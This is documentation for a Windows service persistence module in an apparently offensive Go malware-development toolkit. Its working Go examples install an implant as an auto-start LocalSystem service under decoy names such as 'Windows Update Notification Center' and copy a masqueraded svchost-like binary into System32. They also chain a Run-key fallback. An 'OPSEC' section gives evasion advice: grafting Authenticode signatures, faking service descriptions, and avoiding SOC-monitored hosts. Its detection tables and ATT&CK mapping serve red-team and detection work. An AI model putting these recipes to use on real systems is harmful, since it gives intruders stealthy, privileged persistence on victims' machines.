Windows service persistence
← persistence index · docs/index
TL;DR
Install a Windows service via the Service Control Manager so the
implant runs as LocalSystem at every boot. Highest-trust
persistence available; also the loudest — service creation emits
System Event 7045 + Security Event 4697 on every modern Windows
host. Implements persistence.Mechanism
for composition with other persistence primitives.
Primer
Services are the canonical Windows mechanism for "long-running process started by the OS, restarted on failure, runs as LocalSystem unless told otherwise". Once installed, the implant survives reboots, user logoffs, and most cleanup sweeps that target user-scope artefacts (Run keys, StartUp folders).
Trade-off: SCM database changes are universally audited. Mature
EDR stacks correlate Event 7045 against the binary path
(user-writable = bad), the signer (unsigned = bad), and the
service description (suspicious keywords). Pair with
pe/masquerade (svchost preset),
pe/cert, and a binary path
inside %SystemRoot%\System32\ for the lowest-noise install
operationally available.
How It Works
sequenceDiagram
participant Caller
participant SCM as "Service Control Manager"
participant DB as "services.exe DB"
participant Audit as "Event log"
Caller->>SCM: OpenSCManager(SC_MANAGER_CREATE_SERVICE)
Caller->>SCM: CreateService(name, binPath, type, startType)
SCM->>DB: write service entry
DB-->>Audit: System 7045 (service installed)
DB-->>Audit: Security 4697 (service installed)
Caller->>SCM: StartService (optional)
Note over SCM: services.exe spawns binPath as LocalSystem
The implementation uses golang.org/x/sys/windows/svc/mgr
under the hood — the standard svc.mgr package — to keep
the SCM interaction contract well-tested and conventional.
Mechanism.Install chains Install + (optionally)
StartService; Mechanism.Uninstall is StopService +
DeleteService with cleanup-pause semantics.
API Reference
type StartType uint32
| Value | Meaning |
|---|---|
StartAuto | SERVICE_AUTO_START — launched at boot, post-network init |
StartManual | SERVICE_DEMAND_START — operator triggers via sc start |
StartDisabled | SERVICE_DISABLED — registered but won't launch |
StartBoot | SERVICE_BOOT_START — kernel driver only (special case) |
StartSystem | SERVICE_SYSTEM_START — kernel driver only (special case) |
type Config
| Field | Description |
|---|---|
Name | Service short name (registry key under HKLM\SYSTEM\CurrentControlSet\Services) |
BinPath | Full path to the service executable |
DisplayName | UI-visible name (shown in services.msc) |
Description | Long description (shown in services.msc properties) |
StartType | One of the StartType constants |
Args | Command-line arguments appended to BinPath at launch |
Account | Optional service-account override. Empty → LocalSystem (default). Forms accepted: .\\<user> / <host>\\<user> (local), <DOMAIN>\\<user> (domain), NT AUTHORITY\\NetworkService / NT AUTHORITY\\LocalService (built-in low-priv). |
Password | Plaintext password for the account. Ignored for built-in NT AUTHORITY\\* principals. |
[!IMPORTANT] When
Accountis set to a normal local or domain user, the account MUST holdSeServiceLogonRight. UseGrantSeServiceLogonRight(account)to add the right viaLsaOpenPolicy+LsaAddAccountRightsbefore callingInstall. Idempotent — granting an already-held right is a no-op. Requires elevation (SeSecurityPrivilege).Equivalent operator workflows:
secedit /import …,ntrights -u <user> +r SeServiceLogonRight, or a Group Policy drop. Built-inNT AUTHORITY\NetworkService/LocalServicealready hold the right and need no password.
Functions
| Symbol | Description |
|---|---|
Install(cfg *Config) error | Standalone install — creates SCM entry, no start |
Uninstall(name string) error | Stop-if-running + delete |
Service(cfg *Config) *Mechanism | Mechanism adapter for use with persistence.InstallAll |
Exists(name string) bool | SCM probe |
IsRunning(name string) bool | QueryServiceStatusEx SERVICE_RUNNING |
Start(name string) error | StartService |
Stop(name string) error | ControlService SERVICE_CONTROL_STOP |
Examples
Simple — install + start
import "github.com/oioio-space/maldev/persistence/service"
err := service.Install(&service.Config{
Name: "WinUpdateNotifier",
DisplayName: "Windows Update Notification Center",
Description: "Provides update notifications.",
BinPath: `C:\ProgramData\Microsoft\winupdate.exe`,
StartType: service.StartAuto,
})
if err != nil {
panic(err)
}
_ = service.Start("WinUpdateNotifier")
Composed — Mechanism + InstallAll redundancy
Pair with a Run-key fallback so loss of either mechanism does not lose persistence.
import (
"github.com/oioio-space/maldev/persistence"
"github.com/oioio-space/maldev/persistence/registry"
"github.com/oioio-space/maldev/persistence/service"
)
mechs := []persistence.Mechanism{
service.Service(&service.Config{
Name: "WinUpdate",
BinPath: `C:\ProgramData\Microsoft\winupdate.exe`,
StartType: service.StartAuto,
}),
registry.RunKey(registry.HiveLocalMachine, registry.KeyRun,
"WinUpdateBackup",
`C:\ProgramData\Microsoft\winupdate.exe`),
}
errs := persistence.InstallAll(mechs)
for _, e := range errs {
if e != nil {
// partial install — verify which fired
}
}
Advanced — masqueraded binary in System32
The full-stealth recipe: emit a binary that masquerades as a
real svchost service host, drop it under System32, install
under a plausible service name.
// At build time:
// import _ "github.com/oioio-space/maldev/pe/masquerade/preset/svchost"
// go build -o svc-update.exe ./cmd/implant
// On target (assumes admin):
import (
"io"
"os"
"github.com/oioio-space/maldev/persistence/service"
)
const target = `C:\Windows\System32\svc-update.exe`
src, _ := os.Open("svc-update.exe")
dst, _ := os.Create(target)
_, _ = io.Copy(dst, src)
_ = src.Close()
_ = dst.Close()
_ = service.Install(&service.Config{
Name: "SvcUpdate",
DisplayName: "Service Update Helper",
Description: "Coordinates background service updates.",
BinPath: target,
StartType: service.StartAuto,
})
See ExampleService.
Advanced — service-account override
When LocalSystem is too noisy, pin the service to a built-in
low-priv principal (no password needed) or to a normal user
that already holds SeServiceLogonRight.
// 1. Built-in NT AUTHORITY\NetworkService — no password.
// Already holds SeServiceLogonRight.
_ = service.Install(&service.Config{
Name: "WinUpdateNetCheck",
DisplayName: "Windows Update Network Check",
BinPath: `C:\ProgramData\Microsoft\winupdate.exe`,
StartType: service.StartAuto,
Account: `NT AUTHORITY\NetworkService`,
})
// 2. Domain account. Account MUST already hold
// SeServiceLogonRight (granted via secedit / GPO / LsaAddAccountRights).
_ = service.Install(&service.Config{
Name: "WinUpdateContext",
BinPath: `C:\ProgramData\Microsoft\winupdate.exe`,
StartType: service.StartManual,
Account: `CORP\svc-winupdate`,
Password: os.Getenv("MALDEV_SVC_PWD"),
})
OPSEC & Detection
| Artefact | Where defenders look |
|---|---|
| System Event 7045 (service installed) | Universal; high-fidelity SIEM rule when correlated against unsigned binary or user-writable path |
| Security Event 4697 (service installed) | Audit log; same population as 7045 |
services.msc / sc query listing | Operator review; service description is the human-readable fingerprint |
autoruns.exe highlight | Sysinternals Autoruns flags unsigned services in red |
HKLM\SYSTEM\CurrentControlSet\Services\<Name> registry write | Sysmon Event 13 (registry value set); forensic timeline |
Service binary path under %TEMP%, %APPDATA%, %PROGRAMDATA% | Defender heuristic; legitimate services live under Program Files or System32 |
Service running as LocalSystem with outbound HTTPS to non-MS endpoint | Behavioural EDR — outbound profile mismatch with claimed identity |
Service with empty DisplayName / Description | Defender heuristic — legitimate services document themselves |
D3FEND counters:
Hardening for the operator:
- Pair with
pe/masquerade/preset/svchostso the binary's PE metadata matches a real Microsoft service host. - Pair with
pe/cert.Copyto graft an Authenticode blob (passes presence checks). - Drop the binary under
%SystemRoot%\System32\(admin required) — services inProgram FilesorSystem32draw less default scrutiny than ones under%PROGRAMDATA%. - Populate
DisplayName+Descriptionwith text that matches the cloned identity. - Avoid this technique on hosts with strict service-creation audit (Microsoft LAPS-protected, enterprise SOC-monitored).
MITRE ATT&CK
| T-ID | Name | Sub-coverage | D3FEND counter |
|---|---|---|---|
| T1543.003 | Create or Modify System Process: Windows Service | full | D3-PSA, D3-SICA |
Limitations
- Admin required. SCM
CreateServiceneedsSC_MANAGER_CREATE_SERVICEwhich is admin-gated. - Service binary contract. The launched binary must
implement the SCM control protocol (respond to
ServiceMainstart,SERVICE_CONTROL_STOPetc.) or it will be killed within ~30 s. Implants that don't implement the contract should run asStartManual+ a separate trigger, or wrap the implant binary with thegolang.org/x/sys/windows/svcrunner. - Service-account override is one-shot.
Config.Account+Config.Passwordpropagate through tomgr.CreateServiceso non-LocalSystem services install fine. Pair withGrantSeServiceLogonRight(account)for user-account services where the principal doesn't already hold the right. Built-inNT AUTHORITY\NetworkService/LocalServiceneed neither the grant nor a password. - Boot/System start types.
StartBoot/StartSystemare kernel-driver-only; userland binaries with these start types are rejected by SCM. - Pre-Vista compatibility. Some legacy options (interactive desktop, etc.) are not exposed.
See also
pe/masquerade— clone svchost identity for the service binary.pe/cert— graft Authenticode signature.persistence/registry— sibling lower-noise persistence to pair as a fallback.persistence/scheduler— sibling lower-noise SYSTEM-scope persistence.cleanup— remove the service post-op.- Operator path.
- Detection eng path.